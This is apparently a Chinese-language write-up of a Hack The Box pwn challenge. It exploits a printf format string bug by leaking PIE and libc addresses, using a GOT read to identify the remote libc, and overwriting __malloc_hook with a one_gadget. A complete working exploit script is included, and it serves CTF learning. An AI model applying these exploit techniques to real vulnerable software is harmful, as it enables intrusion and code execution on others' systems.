前言
该题目提供了一个技巧,在不知道远程libc版本的情况下,如何用格式化字符串漏洞泄露出必要的数据查询版本
今天是刷题第12天,HTB challenge pwn已经完成了40%了
题目情况
Can you hear the echo?
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
逆向分析
void __noreturn echo()
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v1; // [rsp+108h] [rbp-8h]
v1 = __readfsqword(0x28u);
while ( 1 )
{
fgets(s, 256, stdin);
printf(s); // 格式化字符串漏洞
}
}
利用分析
程序开启了Full RELRO,改GOT打法失效了
那就打栈,泄露栈地址,写rop,分次写都行,无限次触发
地址泄露
本地环境下的栈信息:
0: 0x0
1: 0x7f4a834fcb23
2: 0xfbad208b
3: 0x7f4a833f67e2
4: 0x0
5: 0x0
6: 0x2436255452415453
7: 0xa444e4570
8: 0x0
9: 0x0
10: 0x0
11: 0x0
12: 0x0
13: 0x0
14: 0x0
15: 0x0
16: 0x0
17: 0x0
18: 0x0
19: 0x0
20: 0x0
21: 0x7f4a834fd6a0
22: 0x0
23: 0x7f4a833703f5
24: 0x0
25: 0x7f4a834fd6a0
26: 0x0
27: 0x0
28: 0x7f4a834f9600
29: 0x7f4a8336c5ad
30: 0x7f4a834fd6a0
31: 0x7f4a833636e5
32: 0x0
33: 0x7ffee90b6c80
34: 0x7ffee90b6db8
35: 0x56162e2a7284
36: 0x0
37: 0x56162e2a726d
38: 0x0
39: 0x3f564f374d5dfb00
远程环境下的栈信息:
0: 0x0
1: 0x7ffddd0bf1d0
2: 0x7fd075de68d0
3: 0x7fd075b09081
4: 0x7fd075de68c0
5: 0x7fd07600d4c0
6: 0x2436255452415453
7: 0xa444e4570
8: 0x0
9: 0x7fd075df523f
10: 0x0
11: 0x7ffddd0bf340
12: 0x0
13: 0x0
14: 0x0
15: 0x7fd076013710
16: 0x7fd075bac787
17: 0x340
18: 0x7ffddd0bf260
19: 0x7ffddd0bf270
20: 0x7fd076013a98
21: 0x7fd075de5680
22: 0x0
23: 0x7fd075a878a2
24: 0xffffffff
25: 0x7fd075de5680
26: 0x0
27: 0x0
28: 0x7fd075de12a0
29: 0x7fd075a83859
30: 0x7fd075de5680
31: 0x7fd075a7a405
32: 0xd
33: 0x0
34: 0x7ffddd0bf2e0
35: 0x557318c0b0c0
36: 0x7ffddd0bf3e0
37: 0x557318c0b26d
38: 0x7fd075dfa9f0
39: 0x7172fc00449f5400
这里的37是pie地址,后12位偏移相同,用这个泄露pie地址,然后libc因为远程本地版本不一样,难以泄露出数据得到libc基地址
所以这里一个很有趣的思路就是,用pie地址拿到got地址,打印got地址泄露libc,就可以拿到libc databse去查询远程目标的libc版本了:
def fmt_exec(payload):
sl(payload)
return rl()[:-1]
fmt = FmtStr(fmt_exec,6)
# leak stack and pie
leakpie = fmt.leak_stack(37)
elf.address = leakpie -0x126d
success(f"elf.address: {hex(elf.address)}")
# leak libc
payload = b"0000%7$s" + pack(elf.got.printf)
sl(payload)
libcleak = r(10)[4:]
libcleak = unpack(libcleak,"all")
success(f"libcleak: {hex(libcleak)}")
libc.address = libcleak -0x64e80# - libc.sym.printf
#libc.address = libcleak - libc.sym.printf
success(f"libc.address: {hex(libc.address)}")
drop shell
因为栈地址泄露出来的环境也不一样,一个思路是去打栈的返回地址,这里有另一个有趣的思路就是,打__malloc_hook,程序没有调用malloc,但是当我输入过大的内容需要打印的时候,缓冲区可能需要扩大,从而调用了malloc,从而触发malloc hook
向malloc hook写入one_gadget即可:
payload = fmtstr_payload(6, {libc.sym.__malloc_hook: libc.address + 0x4f322})
sl(payload)
fmt_exec(b"%100000c")
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
def fmt_exec(payload):
sl(payload)
return rl()[:-1]
fmt = FmtStr(fmt_exec,6)
# leak stack and pie
leakpie = fmt.leak_stack(37)
elf.address = leakpie -0x126d
success(f"elf.address: {hex(elf.address)}")
# leak libc
payload = b"0000%7$s" + pack(elf.got.printf)
sl(payload)
libcleak = r(10)[4:]
libcleak = unpack(libcleak,"all")
success(f"libcleak: {hex(libcleak)}")
libc.address = libcleak -0x64e80# - libc.sym.printf
#libc.address = libcleak - libc.sym.printf
success(f"libc.address: {hex(libc.address)}")
payload = fmtstr_payload(6, {libc.sym.__malloc_hook: libc.address + 0x4f322})
sl(payload)
fmt_exec(b"%100000c")
ia()
总结
格式化字符串打全局变量(malloc_hook)
2个有趣的思路:
- 远程libc版本未知的情况下,泄露pie,从got泄露地址去libc database查询得到远程libc版本
- printf在某些条件下会触发malloc的调用,从而触发malloc hook